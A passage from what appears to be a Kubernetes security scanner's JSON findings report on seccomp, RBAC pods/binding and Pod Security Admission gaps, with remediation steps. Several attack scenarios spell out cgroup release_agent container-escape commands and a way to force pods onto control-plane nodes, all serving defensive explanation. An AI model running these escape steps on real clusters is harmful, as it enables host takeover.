profile name). `Unconfined` is explicit opt-out and is forbidden. Container-level overrides take precedence; if absent, the pod-level setting applies. With nothing set at either level, the kernel runs the container without a seccomp filter at all.",
    "resource": {
      "kind": "Job",
      "name": "gw-batch",
      "namespace": "gw-workloads",
      "api_group": "batch"
    },
    "namespace": "gw-workloads",
    "scope": {
      "level": "workload",
      "detail": "Workload `Job/gw-workloads/gw-batch`"
    },
    "impact": "Restores the full Linux syscall surface to in-container code; every recent container-escape exploit becomes substantially more reliable.",
    "attack_scenario": [
      "Gain code execution inside the container.",
      "Check the seccomp state: `grep Seccomp /proc/1/status` returns `0` (disabled) or `Unconfined`. Under `RuntimeDefault` it would return `2` (filtered).",
      "Stage a cgroup release_agent escape (CVE-2022-0492 class): `unshare -UrmC --propagation=unchanged` to spawn a user-namespaced shell, then `mount -t cgroup -o rdma cgroup /mnt/c \u0026\u0026 echo 1 \u003e /mnt/c/notify_on_release \u0026\u0026 echo '#!/bin/sh\\nbash -c \"...\" \u003e /tmp/x' \u003e /mnt/c/release_agent`.",
      "Trigger the release: write a PID to `cgroup.procs` and exit. The kernel runs the release_agent payload on the host as root.",
      "Under `RuntimeDefault` the same chain fails at step 3 because `unshare` returns `EPERM`; the escape cannot start."
    ],
    "evidence": {
      "container": "batch"
    },
    "remediation": "Set `securityContext.seccompProfile.type: RuntimeDefault` on every container (or once at the pod level).",
    "remediation_steps": [
      "Add `seccompProfile: { type: RuntimeDefault }` to either each container's `securityContext` or the pod-level `securityContext` (container-level wins on conflict).",
      "For workloads that need a non-default filter (eBPF tooling, debuggers), ship a custom profile under `/var/lib/kubelet/seccomp/profiles/` on each node and set `type: Localhost` with `localhostProfile: \u003cpath\u003e`. Never use `Unconfined`.",
      "Apply Pod Security Admission `restricted` to the namespace to lock the requirement in at admit time.",
      "Validate: `kubectl exec -n gw-workloads \u003cpod\u003e -- grep Seccomp /proc/1/status` returns `2`. Inspect spec: `kubectl get job/gw-batch -n gw-workloads -o jsonpath='{.spec.template.spec.containers[*].securityContext.seccompProfile.type}'`."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/security/pod-security-standards/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF",
      "https://kubernetes.io/docs/tasks/configure-pod-container/security-context/",
      "https://kubernetes.io/docs/tutorials/security/seccomp/",
      "https://docs.docker.com/engine/security/seccomp/",
      "https://nvd.nist.gov/vuln/detail/CVE-2022-0492"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Pod Security Standards",
        "url": "https://kubernetes.io/docs/concepts/security/pod-security-standards/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      },
      {
        "title": "Kubernetes — Configure a Security Context for a Pod or Container",
        "url": "https://kubernetes.io/docs/tasks/configure-pod-container/security-context/"
      },
      {
        "title": "Kubernetes — Restrict a Container's Syscalls with seccomp",
        "url": "https://kubernetes.io/docs/tutorials/security/seccomp/"
      },
      {
        "title": "Docker — Seccomp security profiles",
        "url": "https://docs.docker.com/engine/security/seccomp/"
      },
      {
        "title": "CVE-2022-0492 — cgroup release_agent container escape",
        "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-0492"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1611",
        "name": "Escape to Host",
        "url": "https://attack.mitre.org/techniques/T1611/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      },
      {
        "id": "T1548.001",
        "name": "Setuid and Setgid",
        "url": "https://attack.mitre.org/techniques/T1548/001/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.7.2",
        "title": "Ensure that the seccomp profile is set to docker/default in your pod definitions",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Pod Security",
        "title": "Application security: securityContext",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:pod_security",
      "check:seccompProfile"
    ]
  },
  {
    "id": "KUBE-PODSEC-SECCOMP-001:Deployment:local-path-storage:local-path-provisioner:local-path-provisioner",
    "rule_id": "KUBE-PODSEC-SECCOMP-001",
    "severity": "MEDIUM",
    "score": 5.5,
    "category": "privilege_escalation",
    "title": "Container `local-path-provisioner` runs without a seccomp profile in `Deployment/local-path-storage/local-path-provisioner`",
    "description": "Container `local-path-provisioner` in `Deployment/local-path-storage/local-path-provisioner` either omits `securityContext.seccompProfile` (at both container and pod level) or sets it to `Unconfined`. The container therefore inherits the host kernel's unfiltered syscall surface — roughly 340 syscalls on a modern x86_64 Linux. The runtime's default seccomp profile (`RuntimeDefault`) blocks about 44 of those, including the syscall families that container-escape exploits depend on.\n\nWhy that matters in practice: most container-escape CVEs published in the last five years were either fully blocked or substantially harder to weaponise under `RuntimeDefault`. CVE-2022-0492 (cgroup release_agent escape) needs `unshare(CLONE_NEWUSER|CLONE_NEWNS)` and `mount` — both filtered. CVE-2024-21626 \"Leaky Vessels\" abuses runc's working-directory handling at process start; default seccomp doesn't fully neutralise it but blocks several reliable post-exploitation primitives. Dirty Pipe (CVE-2022-0847), CVE-2022-0185 fsconfig, and the user-namespace + io_uring chain (CVE-2022-32250 family) all hit syscalls the default profile denies (`keyctl`, `add_key`, `bpf`, `userfaultfd`, `clone3` with namespace flags).\n\nThe Pod Security Standards Restricted level mandates `seccompProfile.type: RuntimeDefault` or `Localhost` (with a pinned profile name). `Unconfined` is explicit opt-out and is forbidden. Container-level overrides take precedence; if absent, the pod-level setting applies. With nothing set at either level, the kernel runs the container without a seccomp filter at all.",
    "resource": {
      "kind": "Deployment",
      "name": "local-path-provisioner",
      "namespace": "local-path-storage",
      "api_group": "apps"
    },
    "namespace": "local-path-storage",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/local-path-storage/local-path-provisioner`"
    },
    "impact": "Restores the full Linux syscall surface to in-container code; every recent container-escape exploit becomes substantially more reliable.",
    "attack_scenario": [
      "Gain code execution inside the container.",
      "Check the seccomp state: `grep Seccomp /proc/1/status` returns `0` (disabled) or `Unconfined`. Under `RuntimeDefault` it would return `2` (filtered).",
      "Stage a cgroup release_agent escape (CVE-2022-0492 class): `unshare -UrmC --propagation=unchanged` to spawn a user-namespaced shell, then `mount -t cgroup -o rdma cgroup /mnt/c \u0026\u0026 echo 1 \u003e /mnt/c/notify_on_release \u0026\u0026 echo '#!/bin/sh\\nbash -c \"...\" \u003e /tmp/x' \u003e /mnt/c/release_agent`.",
      "Trigger the release: write a PID to `cgroup.procs` and exit. The kernel runs the release_agent payload on the host as root.",
      "Under `RuntimeDefault` the same chain fails at step 3 because `unshare` returns `EPERM`; the escape cannot start."
    ],
    "evidence": {
      "container": "local-path-provisioner"
    },
    "remediation": "Set `securityContext.seccompProfile.type: RuntimeDefault` on every container (or once at the pod level).",
    "remediation_steps": [
      "Add `seccompProfile: { type: RuntimeDefault }` to either each container's `securityContext` or the pod-level `securityContext` (container-level wins on conflict).",
      "For workloads that need a non-default filter (eBPF tooling, debuggers), ship a custom profile under `/var/lib/kubelet/seccomp/profiles/` on each node and set `type: Localhost` with `localhostProfile: \u003cpath\u003e`. Never use `Unconfined`.",
      "Apply Pod Security Admission `restricted` to the namespace to lock the requirement in at admit time.",
      "Validate: `kubectl exec -n local-path-storage \u003cpod\u003e -- grep Seccomp /proc/1/status` returns `2`. Inspect spec: `kubectl get deployment/local-path-provisioner -n local-path-storage -o jsonpath='{.spec.template.spec.containers[*].securityContext.seccompProfile.type}'`."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/security/pod-security-standards/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF",
      "https://kubernetes.io/docs/tasks/configure-pod-container/security-context/",
      "https://kubernetes.io/docs/tutorials/security/seccomp/",
      "https://docs.docker.com/engine/security/seccomp/",
      "https://nvd.nist.gov/vuln/detail/CVE-2022-0492"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Pod Security Standards",
        "url": "https://kubernetes.io/docs/concepts/security/pod-security-standards/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      },
      {
        "title": "Kubernetes — Configure a Security Context for a Pod or Container",
        "url": "https://kubernetes.io/docs/tasks/configure-pod-container/security-context/"
      },
      {
        "title": "Kubernetes — Restrict a Container's Syscalls with seccomp",
        "url": "https://kubernetes.io/docs/tutorials/security/seccomp/"
      },
      {
        "title": "Docker — Seccomp security profiles",
        "url": "https://docs.docker.com/engine/security/seccomp/"
      },
      {
        "title": "CVE-2022-0492 — cgroup release_agent container escape",
        "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-0492"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1611",
        "name": "Escape to Host",
        "url": "https://attack.mitre.org/techniques/T1611/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      },
      {
        "id": "T1548.001",
        "name": "Setuid and Setgid",
        "url": "https://attack.mitre.org/techniques/T1548/001/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.7.2",
        "title": "Ensure that the seccomp profile is set to docker/default in your pod definitions",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Pod Security",
        "title": "Application security: securityContext",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:pod_security",
      "check:seccompProfile"
    ]
  },
  {
    "id": "KUBE-PODSEC-SECCOMP-001:Deployment:secrets-bundle:cross-ns-consumer:pause",
    "rule_id": "KUBE-PODSEC-SECCOMP-001",
    "severity": "MEDIUM",
    "score": 5.5,
    "category": "privilege_escalation",
    "title": "Container `pause` runs without a seccomp profile in `Deployment/secrets-bundle/cross-ns-consumer`",
    "description": "Container `pause` in `Deployment/secrets-bundle/cross-ns-consumer` either omits `securityContext.seccompProfile` (at both container and pod level) or sets it to `Unconfined`. The container therefore inherits the host kernel's unfiltered syscall surface — roughly 340 syscalls on a modern x86_64 Linux. The runtime's default seccomp profile (`RuntimeDefault`) blocks about 44 of those, including the syscall families that container-escape exploits depend on.\n\nWhy that matters in practice: most container-escape CVEs published in the last five years were either fully blocked or substantially harder to weaponise under `RuntimeDefault`. CVE-2022-0492 (cgroup release_agent escape) needs `unshare(CLONE_NEWUSER|CLONE_NEWNS)` and `mount` — both filtered. CVE-2024-21626 \"Leaky Vessels\" abuses runc's working-directory handling at process start; default seccomp doesn't fully neutralise it but blocks several reliable post-exploitation primitives. Dirty Pipe (CVE-2022-0847), CVE-2022-0185 fsconfig, and the user-namespace + io_uring chain (CVE-2022-32250 family) all hit syscalls the default profile denies (`keyctl`, `add_key`, `bpf`, `userfaultfd`, `clone3` with namespace flags).\n\nThe Pod Security Standards Restricted level mandates `seccompProfile.type: RuntimeDefault` or `Localhost` (with a pinned profile name). `Unconfined` is explicit opt-out and is forbidden. Container-level overrides take precedence; if absent, the pod-level setting applies. With nothing set at either level, the kernel runs the container without a seccomp filter at all.",
    "resource": {
      "kind": "Deployment",
      "name": "cross-ns-consumer",
      "namespace": "secrets-bundle",
      "api_group": "apps"
    },
    "namespace": "secrets-bundle",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/secrets-bundle/cross-ns-consumer`"
    },
    "impact": "Restores the full Linux syscall surface to in-container code; every recent container-escape exploit becomes substantially more reliable.",
    "attack_scenario": [
      "Gain code execution inside the container.",
      "Check the seccomp state: `grep Seccomp /proc/1/status` returns `0` (disabled) or `Unconfined`. Under `RuntimeDefault` it would return `2` (filtered).",
      "Stage a cgroup release_agent escape (CVE-2022-0492 class): `unshare -UrmC --propagation=unchanged` to spawn a user-namespaced shell, then `mount -t cgroup -o rdma cgroup /mnt/c \u0026\u0026 echo 1 \u003e /mnt/c/notify_on_release \u0026\u0026 echo '#!/bin/sh\\nbash -c \"...\" \u003e /tmp/x' \u003e /mnt/c/release_agent`.",
      "Trigger the release: write a PID to `cgroup.procs` and exit. The kernel runs the release_agent payload on the host as root.",
      "Under `RuntimeDefault` the same chain fails at step 3 because `unshare` returns `EPERM`; the escape cannot start."
    ],
    "evidence": {
      "container": "pause"
    },
    "remediation": "Set `securityContext.seccompProfile.type: RuntimeDefault` on every container (or once at the pod level).",
    "remediation_steps": [
      "Add `seccompProfile: { type: RuntimeDefault }` to either each container's `securityContext` or the pod-level `securityContext` (container-level wins on conflict).",
      "For workloads that need a non-default filter (eBPF tooling, debuggers), ship a custom profile under `/var/lib/kubelet/seccomp/profiles/` on each node and set `type: Localhost` with `localhostProfile: \u003cpath\u003e`. Never use `Unconfined`.",
      "Apply Pod Security Admission `restricted` to the namespace to lock the requirement in at admit time.",
      "Validate: `kubectl exec -n secrets-bundle \u003cpod\u003e -- grep Seccomp /proc/1/status` returns `2`. Inspect spec: `kubectl get deployment/cross-ns-consumer -n secrets-bundle -o jsonpath='{.spec.template.spec.containers[*].securityContext.seccompProfile.type}'`."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/security/pod-security-standards/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF",
      "https://kubernetes.io/docs/tasks/configure-pod-container/security-context/",
      "https://kubernetes.io/docs/tutorials/security/seccomp/",
      "https://docs.docker.com/engine/security/seccomp/",
      "https://nvd.nist.gov/vuln/detail/CVE-2022-0492"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Pod Security Standards",
        "url": "https://kubernetes.io/docs/concepts/security/pod-security-standards/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      },
      {
        "title": "Kubernetes — Configure a Security Context for a Pod or Container",
        "url": "https://kubernetes.io/docs/tasks/configure-pod-container/security-context/"
      },
      {
        "title": "Kubernetes — Restrict a Container's Syscalls with seccomp",
        "url": "https://kubernetes.io/docs/tutorials/security/seccomp/"
      },
      {
        "title": "Docker — Seccomp security profiles",
        "url": "https://docs.docker.com/engine/security/seccomp/"
      },
      {
        "title": "CVE-2022-0492 — cgroup release_agent container escape",
        "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-0492"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1611",
        "name": "Escape to Host",
        "url": "https://attack.mitre.org/techniques/T1611/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      },
      {
        "id": "T1548.001",
        "name": "Setuid and Setgid",
        "url": "https://attack.mitre.org/techniques/T1548/001/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.7.2",
        "title": "Ensure that the seccomp profile is set to docker/default in your pod definitions",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Pod Security",
        "title": "Application security: securityContext",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:pod_security",
      "check:seccompProfile"
    ]
  },
  {
    "id": "KUBE-PRIVESC-030:ServiceAccount/hookbackend-fixtures/podbind-scheduler:hookbackend-fixtures:pods/binding",
    "rule_id": "KUBE-PRIVESC-030",
    "severity": "MEDIUM",
    "score": 5.5,
    "category": "privilege_escalation",
    "title": "Namespace `hookbackend-fixtures` only `create pods/binding` lets `ServiceAccount/hookbackend-fixtures/podbind-scheduler` act as the scheduler and place pods on any node",
    "description": "Subject ServiceAccount/hookbackend-fixtures/podbind-scheduler can `create` the `pods/binding` subresource (or the legacy `bindings` resource) via RoleBinding `hookbackend-fixtures/podbind-scheduler` → Role `hookbackend-fixtures/podbind-scheduler`. Namespace `hookbackend-fixtures` only.\n\nThis is the write kube-scheduler makes to place a pod. The API server's binding handler validates only that the target is a Node with a name, refuses pods that are already assigned, being deleted, or scheduling-gated, and then sets `spec.nodeName`. It does not re-run node selectors, affinity, topology spread, resource fit, or taint tolerations; those live in the scheduler the request bypasses. The kubelet that receives the pod re-checks resource fit, node affinity, `nodeName`, and host ports before admitting it, but among taints only `NoExecute`, so a `NoSchedule` taint, including the one that keeps tenant pods off control-plane nodes, does not stop the bind.\n\nThe subject holds no pod-creation route of its own in this snapshot, so the primitive applies to pods other identities create: it can pin them onto a chosen node, or keep them pending by binding them to a node that cannot run them.\n\nThe verb is held by `system:kube-scheduler` and by custom schedulers; application identities almost never need it.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "podbind-scheduler",
      "namespace": "hookbackend-fixtures"
    },
    "resource": {
      "kind": "RBACRule",
      "name": "podbind-scheduler",
      "namespace": "hookbackend-fixtures",
      "api_group": "rbac.authorization.k8s.io"
    },
    "namespace": "hookbackend-fixtures",
    "scope": {
      "level": "namespace",
      "detail": "Namespace `hookbackend-fixtures` only"
    },
    "impact": "Place any pending pod in Namespace `hookbackend-fixtures` only on any node of the subject's choosing, bypassing node selectors, affinity, and `NoSchedule` taints. Paired with pod creation, this is control-plane co-residency on demand.",
    "attack_scenario": [
      "Attacker confirms the verb with `kubectl auth can-i create pods/binding --as=podbind-scheduler -n hookbackend-fixtures`.",
      "They pick a pending pod (their own, if they can create one with `schedulerName` set to a scheduler that does not exist, so nothing else binds it first) and a target node, typically a control-plane node.",
      "They post a Binding for that pod naming the node. The API server sets `spec.nodeName` without consulting the scheduler's constraints, and the kubelet starts the pod because the control-plane taint is `NoSchedule`, which the kubelet does not enforce.",
      "The pod now shares a node with the API server's static pods and its PKI directory; any host escape from it lands on the control plane."
    ],
    "evidence": {
      "api_groups": [
        ""
      ],
      "namespace": "hookbackend-fixtures",
      "resource_names": null,
      "resources": [
        "pods/binding"
      ],
      "scope": "namespace",
      "source_binding": "podbind-scheduler",
      "source_binding_kind": "RoleBinding",
      "source_role": "podbind-scheduler",
      "source_role_kind": "Role",
      "verbs": [
        "create"
      ]
    },
    "remediation": "Remove `create` on `pods/binding` and `bindings` from every identity that is not a scheduler; where a custom scheduler needs it, bind it to a dedicated ServiceAccount and keep that ServiceAccount off pod creation.",
    "remediation_steps": [
      "Drop `create` on `pods/binding` and `bindings` from ServiceAccount/hookbackend-fixtures/podbind-scheduler. Only kube-scheduler and purpose-built schedulers place pods.",
      "Audit who else holds it: `kubectl get clusterroles,roles -A -o json | jq -r '.items[] | select(.rules[]?.resources[]? | test(\"^(pods/binding|bindings)$\")) | \"\\(.kind) \\(.metadata.namespace // \"-\")/\\(.metadata.name)\"'`. Expect `system:kube-scheduler` and your custom scheduler's role, nothing else.",
      "Treat control-plane isolation as a taint-plus-authorization property, not a taint alone: a `NoSchedule` taint only steers the scheduler, so pair it with a ValidatingAdmissionPolicy on `pods/binding` CREATE that denies a target node carrying the `node-role.kubernetes.io/control-plane` label for any user other than the scheduler.",
      "Verify with `kubectl auth can-i create pods/binding --as=podbind-scheduler -n hookbackend-fixtures` returning `no`."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/scheduling-eviction/taint-and-toleration/",
      "https://kubernetes.io/docs/tasks/extend-kubernetes/configure-multiple-schedulers/",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "Kubernetes: Taints and Tolerations (NoSchedule is enforced by the scheduler, NoExecute by the kubelet)",
        "url": "https://kubernetes.io/docs/concepts/scheduling-eviction/taint-and-toleration/"
      },
      {
        "title": "Kubernetes: Configure Multiple Schedulers",
        "url": "https://kubernetes.io/docs/tasks/extend-kubernetes/configure-multiple-schedulers/"
      },
      {
        "title": "Kubernetes — RBAC Good Practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1610",
        "name": "Deploy Container",
        "url": "https://attack.mitre.org/techniques/T1610/"
      },
      {
        "id": "T1611",
        "name": "Escape to Host",
        "url": "https://attack.mitre.org/techniques/T1611/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.4",
        "title": "Minimize access to create pods",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authorization",
        "title": "Role-based access control",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:rbac"
    ]
  },
  {
    "id": "KUBE-PSA-LABELS-001:Namespace:foothold-fixtures",
    "rule_id": "KUBE-PSA-LABELS-001",
    "severity": "MEDIUM",
    "score": 5.5,
    "category": "defense_evasion",
    "title": "Namespace `foothold-fixtures` runs Baseline violators but has no PSA enforce label",
    "description": "Namespace `foothold-fixtures` carries PSA labels (`pod-security.kubernetes.io/enforce` = missing, `audit` = missing, `warn` = missing) but is running pods that violate the PSA Baseline level: Deployment/foothold-priv-app (privileged). Per the Kubernetes Pod Security Standards contract, every namespace SHOULD declare an `enforce` label at baseline or stricter, even if the operator initially leaves it permissive (`privileged`) for legacy workloads. Without `enforce`, every future Pod create/update in this namespace is admitted regardless of how dangerous its PodSpec is.\n\nPSA labels are the cluster's first line of defense at the namespace boundary: they're cheap, they're built in (no external admission webhook), and they document operator intent (\"this namespace is for system DaemonSets that need hostNetwork\" reads very differently from \"someone forgot to label this\"). The fact that this namespace already contains baseline-violating pods means the gap is not theoretical - the next deploy will silently regress.\n\nIf you genuinely need permissive workloads in this namespace, the recommended pattern is `enforce: privileged` with `audit: baseline` and `warn: baseline`: PSA admits the pod (you stay productive), the audit log records the violation (you have evidence), and the user-agent gets a warning (your engineers see it during `kubectl apply`).",
    "resource": {
      "kind": "Namespace",
      "name": "foothold-fixtures"
    },
    "namespace": "foothold-fixtures",
    "scope": {
      "level": "namespace",
      "detail": "Namespace `foothold-fixtures`"
    },
    "impact": "Future Pod create/update requests in this namespace bypass PSA entirely. A regression that adds `privileged: true` or `hostPath: /` to an existing workload is admitted with no warning, no audit-log entry, and no rejection.",
    "attack_scenario": [
      "Attacker compromises a CI service account that can deploy to this namespace.",
      "They push a manifest that mounts `hostPath: /` (or sets `privileged: true`).",
      "PSA admits the pod with no warning - the namespace has no `enforce` label.",
      "They escape the container to the node, steal kubelet credentials, and pivot."
    ],
    "evidence": {
      "enforce_label": "",
      "audit_label": "",
      "warn_label": "",
      "baseline_violations": [
        "Deployment/foothold-priv-app (privileged)"
      ]
    },
    "remediation": "Apply `pod-security.kubernetes.io/enforce: baseline` (or `restricted`) to namespace `foothold-fixtures`, plus `audit: baseline` and `warn: baseline` so future regressions are logged. If the namespace genuinely needs permissive workloads, use `enforce: privileged` paired with `audit`/`warn` at `baseline`.",
    "remediation_steps": [
      "Pick the right enforce level. For most app namespaces use `restricted` (drops most root, hostPath, capabilities). For system DaemonSets use `baseline`. For namespaces that genuinely need privileged workloads, set `enforce: privileged` but add `audit: baseline` so violations are logged.",
      "Apply the labels: `kubectl label namespace foothold-fixtures pod-security.kubernetes.io/enforce=baseline pod-security.kubernetes.io/audit=baseline pod-security.kubernetes.io/warn=baseline`. Pin the version with `pod-security.kubernetes.io/enforce-version=v1.30` (or your cluster version).",
      "Run `kubectl get pods -n foothold-fixtures -o yaml | grep -E 'privileged|hostPath|hostNetwork'` and triage existing violators before tightening enforce. PSA only blocks new admissions; existing pods keep running, but a rolling restart will fail.",
      "Validate: `kubectl get namespace foothold-fixtures -o jsonpath='{.metadata.labels}' | grep pod-security` returns the three labels."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/security/pod-security-admission/",
      "https://kubernetes.io/docs/concepts/security/pod-security-standards/",
      "https://kubernetes.io/docs/tasks/configure-pod-container/enforce-standards-namespace-labels/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "Kubernetes - Pod Security Admission",
        "url": "https://kubernetes.io/docs/concepts/security/pod-security-admission/"
      },
      {
        "title": "Kubernetes - Pod Security Standards",
        "url": "https://kubernetes.io/docs/concepts/security/pod-security-standards/"
      },
      {
        "title": "Kubernetes - Apply PSA labels to all namespaces",
        "url": "https://kubernetes.io/docs/tasks/configure-pod-container/enforce-standards-namespace-labels/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1610",
        "name": "Deploy Container",
        "url": "https://attack.mitre.org/techniques/T1610/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.2.1",
        "title": "Minimize the admission of privileged containers",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Pod Security",
        "title": "Pod Security Standards / Pod Security Admission",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:pod_security",
      "check:psaLabels"
    ]
  },
  {
    "id": "KUBE-PSA-LABELS-001:Namespace:psa-unlabeled-fixtures",
    "rule_id": "KUBE-PSA-LABELS-001",
    "severity": "MEDIUM",
    "score": 5.5,
    "category": "defense_evasion",
    "title": "Namespace `psa-unlabeled-fixtures` runs Baseline violators but has no PSA enforce label",
    "description": "Namespace `psa-unlabeled-fixtures` carries PSA labels (`pod-security.kubernetes.io/enforce` = missing, `audit` = missing, `warn` = missing) but is running pods that violate the PSA Baseline level: Deployment/psa-unlabeled-app (hostNetwork). Per the Kubernetes Pod Security Standards contract, every namespace SHOULD declare an `enforce` label at baseline or stricter, even if the operator initially leaves it permissive (`privileged`) for legacy workloads. Without `enforce`, every future Pod create/update in this namespace is admitted regardless of how dangerous its PodSpec is.\n\nPSA labels are the cluster's first line of defense at the namespace boundary: they're cheap, they're built in (no external admission webhook), and they document operator intent (\"this namespace is for system DaemonSets that need hostNetwork\" reads very differently from \"someone forgot to label this\"). The fact that this namespace already contains baseline-violating pods means the gap is not theoretical - the next deploy will silently regress.\n\nIf you genuinely need permissive workloads in this namespace, the recommended pattern is `enforce: privileged` with `audit: baseline` and `warn: baseline`: PSA admits the pod (you stay productive), the audit log records the violation (you have evidence), and the user-agent gets a warning (your engineers see it during `kubectl apply`).",
    "resource": {
      "kind": "Namespace",
      "name": "psa-unlabeled-fixtures"
    },
    "namespace": "psa-unlabeled-fixtures",
    "scope": {
      "level": "namespace",
      "detail": "Namespace `psa-unlabeled-fixtures`"
    },
    "impact": "Future Pod create/update requests in this namespace bypass PSA entirely. A regression that adds `privileged: true` or `hostPath: /` to an existing workload is admitted with no warning, no audit-log entry, and no rejection.",
    "attack_scenario": [
      "Attacker compromises a CI service account that can deploy to this namespace.",
      "They push a manifest that mounts `hostPath: /` (or sets `privileged: true`).",
      "PSA admits the pod with no warning - the namespace has no `enforce` label.",
      "They escape the container to the node, steal kubelet credentials, and pivot."
    ],
    "evidence": {
      "enforce_label": "",
      "audit_label": "",
      "warn_label": "",
      "baseline_violations": [
        "Deployment/psa-unlabeled-app (hostNetwork)"
      ]
    },
    "remediation": "Apply `pod-security.kubernetes.io/enforce: baseline` (or `restricted`) to namespace `psa-unlabeled-fixtures`, plus `audit: baseline` and `warn: baseline` so future regressions are logged. If the namespace genuinely needs permissive workloads, use `enforce: privileged` paired with `audit`/`warn` at `baseline`.",
    "remediation_steps": [
      "Pick the right enforce level. For most app namespaces use `restricted` (drops most root, hostPath, capabilities). For system DaemonSets use `baseline`. For namespaces that genuinely need privileged workloads, set `enforce: privileged` but add `audit: baseline` so violations are logged.",
      "Apply the labels: `kubectl label namespace psa-unlabeled-fixtures pod-security.kubernetes.io/enforce=baseline pod-security.kubernetes.io/audit=baseline pod-security.kubernetes.io/warn=baseline`. Pin the version with `pod-security.kubernetes.io/enforce-version=v1.30` (or your cluster version).",
      "Run `kubectl get pods -n psa-unlabeled-fixtures -o yaml | grep -E 'privileged|hostPath|hostNetwork'` and triage existing violators before tightening enforce. PSA only blocks new admissions; existing pods keep running, but a rolling restart will fail.",
